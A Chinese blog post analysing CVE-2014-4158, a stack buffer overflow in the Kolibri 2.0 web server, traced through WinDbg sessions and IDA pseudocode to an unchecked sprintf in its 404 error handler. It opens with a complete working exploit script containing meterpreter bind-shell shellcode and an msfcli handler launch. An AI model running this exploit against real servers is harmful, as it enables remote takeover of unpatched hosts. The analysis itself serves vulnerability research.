[CVE-2014-4158]Kolibri2.0远程代码执行漏洞分析

作者:k0shl 转载请注明出处:https://whereisk0shl.top
休息回来了,也顺利脱单,找到了一个非常合适的女票,以后可以专心挖洞了:博客会继续更新,依然是一周1到2篇漏洞分析及利用。这里要声明一下因为很多漏洞都是两年前刚开始做漏洞分析的时候写的,分析中有很多不足的地方,感谢细心的小伙伴们提出,以后的漏洞分析利用中,我会更注重细节,真的很重要,希望大家以后能继续多多交流!
欢迎看官打赏,一分也是爱,https://whereisk0shl.top/about


漏洞说明


软件下载:
https://www.exploit-db.com/apps/4d4e15b98e105facf94e4fd6a1f9eb78-Kolibri-2.0-win.zip

PoC:

#!/usr/bin/python 
# Exploit Title: Kolibri GET request Stack buffer Overflow 
# Date: 25 April 2014
# Exploit Author: Christian (Polunchis) Ramirez https://intrusionlabs.org
# Vendor Homepage: http://www.senkas.com/kolibri/download.php
# Version: Kolibri 2.0 
# Tested on: Windows XP SP3,  Spanish
# Thanks:To my wife for putting up with my possessions
# Description: 
# A buffer overflow is triggered when a long GET command is sent to the server.
 
import socket, sys, os, time 
 
if len(sys.argv) != 3:
    print "[*] Uso: %s <Ip Victima> <Puerto> \n" % sys.argv[0]
        print "[*] Exploit created by Polunchis"
        print "[*] https://www.intrusionlabs.com.mx"
    sys.exit(0)
host = sys.argv[1]         
port = int(sys.argv[2])
  
#./msfpayload windows/meterpreter/bind_tcp R | ./msfencode -t c -b '\x00\xff\x0a\x0d\x20\x40'
shellcode = (
"\x29\xc9\x83\xe9\xb5\xe8\xff\xff\xff\xff\xc0\x5e\x81\x76\x0e"
"\xaa\x86\x33\x5f\x83\xee\xfc\xe2\xf4\x56\x6e\xba\x5f\xaa\x86"
"\x53\xd6\x4f\xb7\xe1\x3b\x21\xd4\x03\xd4\xf8\x8a\xb8\x0d\xbe"
"\x0d\x41\x77\xa5\x31\x79\x79\x9b\x79\x02\x9f\x06\xba\x52\x23"
"\xa8\xaa\x13\x9e\x65\x8b\x32\x98\x48\x76\x61\x08\x21\xd4\x23"
"\xd4\xe8\xba\x32\x8f\x21\xc6\x4b\xda\x6a\xf2\x79\x5e\x7a\xd6"
"\xb8\x17\xb2\x0d\x6b\x7f\xab\x55\xd0\x63\xe3\x0d\x07\xd4\xab"
"\x50\x02\xa0\x9b\x46\x9f\x9e\x65\x8b\x32\x98\x92\x66\x46\xab"
"\xa9\xfb\xcb\x64\xd7\xa2\x46\xbd\xf2\x0d\x6b\x7b\xab\x55\x55"
"\xd4\xa6\xcd\xb8\x07\xb6\x87\xe0\xd4\xae\x0d\x32\x8f\x23\xc2"
"\x17\x7b\xf1\xdd\x52\x06\xf0\xd7\xcc\xbf\xf2\xd9\x69\xd4\xb8"
"\x6d\xb5\x02\xc2\xb5\x01\x5f\xaa\xee\x44\x2c\x98\xd9\x67\x37"
"\xe6\xf1\x15\x58\x55\x53\x8b\xcf\xab\x86\x33\x76\x6e\xd2\x63"
"\x37\x83\x06\x58\x5f\x55\x53\x63\x0f\xfa\xd6\x73\x0f\xea\xd6"
"\x5b\xb5\xa5\x59\xd3\xa0\x7f\x11\x02\x84\xf9\xee\x31\x5f\xbb"
"\xda\xba\xb9\xc0\x96\x65\x08\xc2\x44\xe8\x68\xcd\x79\xe6\x0c"
"\xfd\xee\x84\xb6\x92\x79\xcc\x8a\xf9\xd5\x64\x37\xde\x6a\x08"
"\xbe\x55\x53\x64\xc8\xc2\xf3\x5d\x12\xcb\x79\xe6\x35\xaa\xec"
"\x37\x09\xfd\xee\x31\x86\x62\xd9\xcc\x8a\x21\xb0\x59\x1f\xc2"
"\x86\x23\x5f\xaa\xd0\x59\x5f\xc2\xde\x97\x0c\x4f\x79\xe6\xcc"
"\xf9\xec\x33\x09\xf9\xd1\x5b\x5d\x73\x4e\x6c\xa0\x7f\x87\xf0"
"\x76\x6c\x03\xc5\x2a\x46\x45\x33\x5f"
)
 
nop =  "A" * 33 + '\x90' * 20
junk = "C" *(515-(len(nop)+len(shellcode)))
opcode= "\x83\xc4\x44\x83\xc4\x44\x83\xc4\x44\xff\xe4"
eip = '\x63\x46\x92\x7c'
#7c86467b 7C924663 call esp
buffer = nop + shellcode + junk + eip + opcode + "B" * 60
 
req = ("GET /" + buffer + " HTTP/1.1\r\n"
"Host: " + host + ":" + str(port) + "\r\n"
"User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; he; rv:1.9.2.12) Gecko/20101026 Firefox/3.6.12\r\n"
"Connection: keep-alive\r\n\r\n")
print "  [+] Connecting to %s:%d" % (host, port)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
 
try:
    s.connect((host, port))
    print "  [+] Sending payload.." + "nop: " + str(len(nop)) + "   junk: " + str(len(junk)) + "   shellcode: " + str(len(shellcode))
    s.send(req)
    data = s.recv(1024)
    print "  [+] Closing connection.."
    s.close()
    print "[+] Exploit Sent Successfully"
        print "[+] Waiting for 3 sec before spawning shell to " + host + ":4444\r"
        print "\r"
        time.sleep(3)
        os.system("msfcli exploit/multi/handler PAYLOAD=windows/meterpreter/bind_tcp RHOST=192.168.0.106 LPORT=4444 E")
        print "[-] Connection lost from " + host + ":4444 \r"
except:
        print "[-] Could not connect to " + host + ":4444\r"
        sys.exit(0)

调试环境:
Windows xp sp3


漏洞复现


此漏洞是由于Kolibri服务器在处理URL请求时,当找不到路径文件的时候,会构造一个404页面返回,在构造的过程中,由于没有对请求的URL进行有效的长度检查和判断,从而导致了缓冲区溢出的发生,通过覆盖返回地址,可以达到任意代码执行的目的,接下来对此漏洞进行详细分析。

首先仍然是打开Kolibri服务,然后用Windbg附加,之后执行PoC,服务崩溃,到达漏洞现场。

0:002> g
(894.e78): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=41414141 ecx=00000000 edx=00000000 esi=41414141 edi=41414141
eip=41414141 esp=0153fb28 ebp=41414141 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010246
41414141 ??              ???

通过kb回溯堆栈调用

0:002> kb
ChildEBP RetAddr  Args to Child              
WARNING: Frame IP not in any known module. Following frames may be wrong.
0153fb24 41414141 41414141 41414141 41414141 0x41414141
0153fb28 41414141 41414141 41414141 41414141 0x41414141
0153fb2c 41414141 41414141 41414141 41414141 0x41414141
0153fb30 41414141 41414141 41414141 41414141 0x41414141
0153fb34 41414141 41414141 41414141 41414141 0x41414141
0153fb38 41414141 41414141 41414141 41414141 0x41414141

可以看到堆栈被冲垮了,这时候尝试缩小PoC的payload长度,当缩小到215长度的时候。

0:002> g
(8e8.66c): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=41414141 ecx=00000000 edx=00000000 esi=41414141 edi=41414141
eip=0040c766 esp=0153fb28 ebp=00414141 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010246
*** ERROR: Module load completed but symbols could not be loaded for C:\Documents and Settings\Administrator\桌面\Kolibri-2.0-win\Kolibri.exe
Kolibri+0xc766:
0040c766 89850cfdffff    mov     dword ptr [ebp-2F4h],eax ss:0023:00413e4d=9589ffff

可以看到此时ebp的值是00414141,ebp已经被覆盖了,差点就覆盖到ret,接下来通过kb查看此时的堆栈调用。

0:002> kb
ChildEBP RetAddr  Args to Child              
WARNING: Stack unwind information not available. Following frames may be wrong.
0153fbb4 7c9301bb 76f31382 00250000 00000008 Kolibri+0xc766
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\WINDOWS\system32\WLDAP32.dll - 
0153fbb8 76f31382 00250000 00000008 0000001c ntdll!RtlAllocateHeap+0x117

好了,切入点其实很清晰了。


漏洞分析


通过回溯,我发现了一个很有趣的块.text:0040C6CB loc_40C6CB,在这个快中有一个比较有趣的函数调用。

.text:0040C6F8                 lea     eax, [ebp+var_118]
.text:0040C6FE                 mov     [esp], eax      ; this
.text:0040C701                 call    __ZNK10wxFileName10FileExistsEv ; wxFileName::FileExists(void)
.text:0040C706                 test    al, al
.text:0040C708                 jnz     loc_40C8C4

可以看到,这里调用了一个函数FileExist,判断文件存在,接下来会对返回值进行判断,如果不为0则跳转,如果为0,也就是文件不存在,则会进入一处有趣的调用。

.text:0040C70E                 mov     eax, [ebp+var_1B0]
.text:0040C714                 add     eax, 40h
.text:0040C717                 mov     [esp+8], eax
.text:0040C71B                 mov     dword ptr [esp+4], offset aNotFound ; "Not found: "
.text:0040C723                 lea     edx, [ebp+var_E8]
.text:0040C729                 mov     [esp], edx      ; wxStringBase *
.text:0040C72C                 call    __ZplPKcRK8wxString ; operator+(char const*,wxString const&)
.text:0040C731                 sub     esp, 4
.text:0040C734                 lea     ecx, [ebp+var_E8]
.text:0040C73A                 mov     [esp], ecx      ; this
.text:0040C73D                 call    __ZNK12wxStringBase5c_strEv ; wxStringBase::c_str(void)
.text:0040C742                 mov     [esp+8], eax    ; char *
.text:0040C746                 mov     dword ptr [esp+4], 194h ; int
.text:0040C74E                 mov     eax, [ebp+var_1B0]
.text:0040C754                 mov     [esp], eax      ; this
.text:0040C757                 mov     [ebp+var_168], 12h
.text:0040C761                 call    __ZN15CRequestHandler11ReturnErrorEiPc ; CRequestHandler::ReturnError(int,char *)
.text:0040C766                 mov     [ebp+var_2F4], eax
.text:0040C76C                 mov     eax, [ebp+var_E8]
.text:0040C772                 lea     edx, [eax-0Ch]
.text:0040C775                 cmp     dword ptr [eax-0Ch], 0FFFFFFFFh
.text:0040C779                 jz      short loc_40C78C
.text:0040C77B                 dec     dword ptr [eax-0Ch]
.text:0040C77E                 cmp     dword ptr [eax-0Ch], 0
.text:0040C782                 jnz     short loc_40C78C
.text:0040C784                 mov     [esp], edx      ; void *
.text:0040C787                 call    _free

这里会有一个Not Found,也就是说这里会构造一些语句,并进行一些函数调用,那么就从那个loc块入手开始分析。

0:002> p
eax=00d7b5b0 ebx=0153fea8 ecx=006704bc edx=006704bc esi=00d7becc edi=006623d0
eip=0040c6dc esp=0153fb28 ebp=0153fed0 iopl=0         nv up ei pl nz ac po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000212
Kolibri+0xc6dc:
0040c6dc 89442404        mov     dword ptr [esp+4],eax ss:0023:0153fb2c=00000000
0:002> p
eax=00d7b5b0 ebx=0153fea8 ecx=006704bc edx=006704bc esi=00d7becc edi=006623d0
eip=0040c6e0 esp=0153fb28 ebp=0153fed0 iopl=0         nv up ei pl nz ac po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000212
Kolibri+0xc6e0:
0040c6e0 8d8de8feffff    lea     ecx,[ebp-118h]
0:002> p
eax=00d7b5b0 ebx=0153fea8 ecx=0153fdb8 edx=006704bc esi=00d7becc edi=006623d0
eip=0040c6e6 esp=0153fb28 ebp=0153fed0 iopl=0         nv up ei pl nz ac po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000212
Kolibri+0xc6e6:
0040c6e6 890c24          mov     dword ptr [esp],ecx  ss:0023:0153fb28=0153fdb8
0:002> p
eax=00d7b5b0 ebx=0153fea8 ecx=0153fdb8 edx=006704bc esi=00d7becc edi=006623d0
eip=0040c6e9 esp=0153fb28 ebp=0153fed0 iopl=0         nv up ei pl nz ac po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000212
Kolibri+0xc6e9:
0040c6e9 c78598feffff13000000 mov dword ptr [ebp-168h],13h ss:0023:0153fd68=00000014
0:002> p
eax=00d7b5b0 ebx=0153fea8 ecx=0153fdb8 edx=006704bc esi=00d7becc edi=006623d0
eip=0040c6f3 esp=0153fb28 ebp=0153fed0 iopl=0         nv up ei pl nz ac po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000212
Kolibri+0xc6f3:
0040c6f3 e818bf1700      call    Kolibri+0x188610 (00588610)
0:002> p
eax=003f3810 ebx=0153fea8 ecx=00000000 edx=00000000 esi=00d7becc edi=006623d0
eip=0040c6f8 esp=0153fb28 ebp=0153fed0 iopl=0         nv up ei pl nz ac pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000216
Kolibri+0xc6f8:
0040c6f8 8d85e8feffff    lea     eax,[ebp-118h]
0:002> dc esi
00d7becc  4141412f 41414141 41414141 41414141  /AAAAAAAAAAAAAAA
00d7bedc  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
00d7beec  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
00d7befc  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
00d7bf0c  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
00d7bf1c  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
00d7bf2c  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
00d7bf3c  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA

注意这里对URL路径进行了获取,接下来继续单步跟踪。

0:002> p
eax=0153fdb8 ebx=0153fea8 ecx=00000000 edx=00000000 esi=00d7becc edi=006623d0
eip=0040c6fe esp=0153fb28 ebp=0153fed0 iopl=0         nv up ei pl nz ac pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000216
Kolibri+0xc6fe:
0040c6fe 890424          mov     dword ptr [esp],eax  ss:0023:0153fb28=0153fdb8
0:002> p
eax=0153fdb8 ebx=0153fea8 ecx=00000000 edx=00000000 esi=00d7becc edi=006623d0
eip=0040c701 esp=0153fb28 ebp=0153fed0 iopl=0         nv up ei pl nz ac pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000216
Kolibri+0xc701:
0040c701 e8ca7b1700      call    Kolibri+0x1842d0 (005842d0)
0:002> dd eax
0153fdb8  00d7df8c 00000010 00000004 00d795c0
0153fdc8  00000000 00d7e13c 006704bc 00d70000
0153fdd8  00000074 00000000 77c0a341 00000000
0153fde8  006704bc 0000001b 00000200 0153fffc
0153fdf8  00d7964c 81b797bc 81b79650 81b79684
0153fe08  00d7bdbc b2ce8b2c 81b79650 b2ce8cf8
0153fe18  00d795cc b2ce8b5c 80501c88 00000000
0153fe28  00d7bdf4 00000000 00000000 00000000
0:002> dc poi(eax)
00d7df8c  00000043 00000000 00000000 00000000  C...............
00d7df9c  00000000 00050031 0108010a 00000000  ....1...........
00d7dfac  00000166 00000173 636f445c 6e656d75  f...s...\Documen
00d7dfbc  61207374 5320646e 69747465 5c73676e  ts and Settings\
00d7dfcc  696d6441 7473696e 6f746172 794d5c72  Administrator\My
00d7dfdc  636f4420 6e656d75 685c7374 636f6474   Documents\htdoc
00d7dfec  41412f73 41414141 41414141 41414141  s/AAAAAAAAAAAAAA
00d7dffc  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA

经过这个call调用,eax指针会将这个URL组合成文件路径,在0040c701地址位置进行call调用,从上面的IDA汇编代码可以看到,这个地址的调用就是FileExist,也就是判断eax指针的文件是否存在,步过后。

0:002> p
eax=00000000 ebx=0153fea8 ecx=00000000 edx=00000000 esi=00d7becc edi=006623d0
eip=0040c706 esp=0153fb28 ebp=0153fed0 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
Kolibri+0xc706:
0040c706 84c0            test    al,al
0:002> p
eax=00000000 ebx=0153fea8 ecx=00000000 edx=00000000 esi=00d7becc edi=006623d0
eip=0040c708 esp=0153fb28 ebp=0153fed0 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
Kolibri+0xc708:
0040c708 0f85b6010000    jne     Kolibri+0xc8c4 (0040c8c4)               [br=0]

这个文件肯定是不存在的,返回0,al的值为0,程序不跳转,继续执行。

0:002> p
eax=00000000 ebx=0153fea8 ecx=00000000 edx=00000000 esi=00d7becc edi=006623d0
eip=0040c70e esp=0153fb28 ebp=0153fed0 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
Kolibri+0xc70e:
0040c70e 8b8550feffff    mov     eax,dword ptr [ebp-1B0h] ss:0023:0153fd20=00d7b568

0:002> p
eax=00d7b568 ebx=0153fea8 ecx=0153fde8 edx=00000000 esi=00d7becc edi=006623d0
eip=0040c761 esp=0153fb28 ebp=0153fed0 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
Kolibri+0xc761:
0040c761 e8f6daffff      call    Kolibri+0xa25c (0040a25c)

0:002> dc poi(esp+8)
00d7e534  20746f4e 6e756f66 2f203a64 41414141  Not found: /AAAA
00d7e544  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
00d7e554  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
00d7e564  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
00d7e574  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
00d7e584  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
00d7e594  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
00d7e5a4  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA

经过第一次call调用后,可以发现这里构造了一个Not Found的语句,用于返回结果,提示用户没有找到这个路径,就像web server里的404页面一样。

接下来会进入ReturnError函数,这个函数就是用于web server返回错误的调用函数,这个函数的伪代码如下。

int __cdecl CRequestHandler::ReturnError(CRequestHandler *this, int a2, char *a3)
{
  v30 = this;
  v38 = __gxx_personality_sj0;
  v39 = &word_65686A;
  v40 = &v48;
  v41 = &loc_40A6B0;
  v42 = &v24;
  _Unwind_SjLj_Register(&TlsValue);
  v29 = a3;
  v28 = strlen(a3);
  v27 = a3;
  v26 = (const char *)a2;
  v37 = -1;
  sprintf(
    (char *)&v47,
    "HTTP/1.1 %ld %s\r\nserver: kolibri-2.0\r\ncontent-type: text/plain\r\ncontent-length: %ld\r\n\r\n%s",
    a2,
    a3,
    v28,
    a3);
  v25 = &v47;

可以看到,这里调用了一个sprintf,是一个很敏感的函数,在拷贝的过程中,a3都是用户传入的url路径的指针,这里拷贝前,没有对url长度进行判断,从而导致溢出,单步跟踪。

0:002> p
eax=00000000 ebx=0153fea8 ecx=0153fde8 edx=003f3810 esi=00d7becc edi=0153f874
eip=00630c83 esp=0153f7f8 ebp=0153f810 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
Kolibri+0x230c83:
00630c83 8b422c          mov     eax,dword ptr [edx+2Ch] ds:0023:003f383c=00000000
0:002> bp 40a2ed
0:002> g
Breakpoint 1 hit
eax=00000194 ebx=0153fea8 ecx=0153f908 edx=00d7e534 esi=00d7becc edi=00d7e66d
eip=0040a2ed esp=0153f818 ebp=0153fb20 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
Kolibri+0xa2ed:
0040a2ed e8be7d2200      call    Kolibri+0x2320b0 (006320b0)
0:002> dd esp
0153f818  0153f908 00662338 00000194 00d7e534
0153f828  00000138 00d7e534 00000000 7c930098
0153f838  00d7be50 0153f908 7c930021 003f0778
0153f848  7c93003d 00000000 00d7be58 00d7b568
0153f858  77c05c94 0153f848 ffffffff 0153ffa4
0153f868  77c05c94 77be2088 ffffffff 0022faec
0153f878  ffffffff 00000020 0153f890 00000000
0153f888  00000020 0062dc50 0065686a 0153fb08
0:002> dc 00d7e534
00d7e534  20746f4e 6e756f66 2f203a64 41414141  Not found: /AAAA
00d7e544  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
00d7e554  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
00d7e564  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
00d7e574  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
00d7e584  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
00d7e594  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
00d7e5a4  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA

到达call调用的时候,第四个参数的值,就是传入的Not found,这里会执行拷贝,单步步过,同时查看ebp的值。

0:002> p
eax=000002c5 ebx=0153fea8 ecx=00004282 edx=0153fbcc esi=00d7becc edi=00d7e66d
eip=0040a2f2 esp=0153f818 ebp=0153fb20 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
Kolibri+0xa2f2:
0040a2f2 8dbde8fdffff    lea     edi,[ebp-218h]
0:002> dd ebp
0153fb20  41414141 41414141 41414141 41414141
0153fb30  41414141 41414141 41414141 41414141
0153fb40  41414141 41414141 41414141 41414141
0153fb50  41414141 41414141 41414141 41414141
0153fb60  41414141 41414141 41414141 41414141

果然已经被覆盖,接下来,直接在ret返回处下断点。

0:002> bp 40a7bf
0:002> g
Breakpoint 2 hit
eax=00000000 ebx=41414141 ecx=00000000 edx=00000000 esi=41414141 edi=41414141
eip=0040a7bf esp=0153fb24 ebp=41414141 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
Kolibri+0xa7bf:
0040a7bf c3              ret
0:002> p
(870.4d4): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=41414141 ecx=00000000 edx=00000000 esi=41414141 edi=41414141
eip=41414141 esp=0153fb28 ebp=41414141 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010246
41414141 ??              ???

返回地址被覆盖,eip被控制,导致代码执行,看一下外层函数的伪代码。

int __cdecl CRequestHandler::Entry(CRequestHandler *this)
{
    wxFileName::Assign(&v220, (char *)v197 + 72, 0);
    if ( (unsigned __int8)wxFileName::FileExists((wxFileName *)&v220) )
{
}
    else
    {
      v156 = (char *)v197 + 64;
      v155 = (int *)"Not found: ";
      operator+((wxStringBase *)&v226);
      v90 = (char *)wxStringBase::c_str((wxStringBase *)&v226);
      v211 = 18;
      v164 = CRequestHandler::ReturnError(v197, 404, v90);

这里我省去了if语句内部逻辑,因为不重要,当判断文件不存在时,进入else语句处理,在c_str会构造NotFound语句,之后会调用函数ReturnError,这个函数会由于传入超长字符串,造成缓冲区溢出。

总结一下这个漏洞,是由于URL传入时,没有对传入的URL进行有效的检查,导致后续进行文件判断后会进入错误处理,在错误处理中,直接传入url长度,调用sprintf,导致缓冲区溢出,导致代码执行。

Comments
Write a Comment
  • ktstart reply

    恭喜恭喜,脱单幸福

  • 莪莪莪莪莪

  • Twelve reply

    大佬 请用Ruby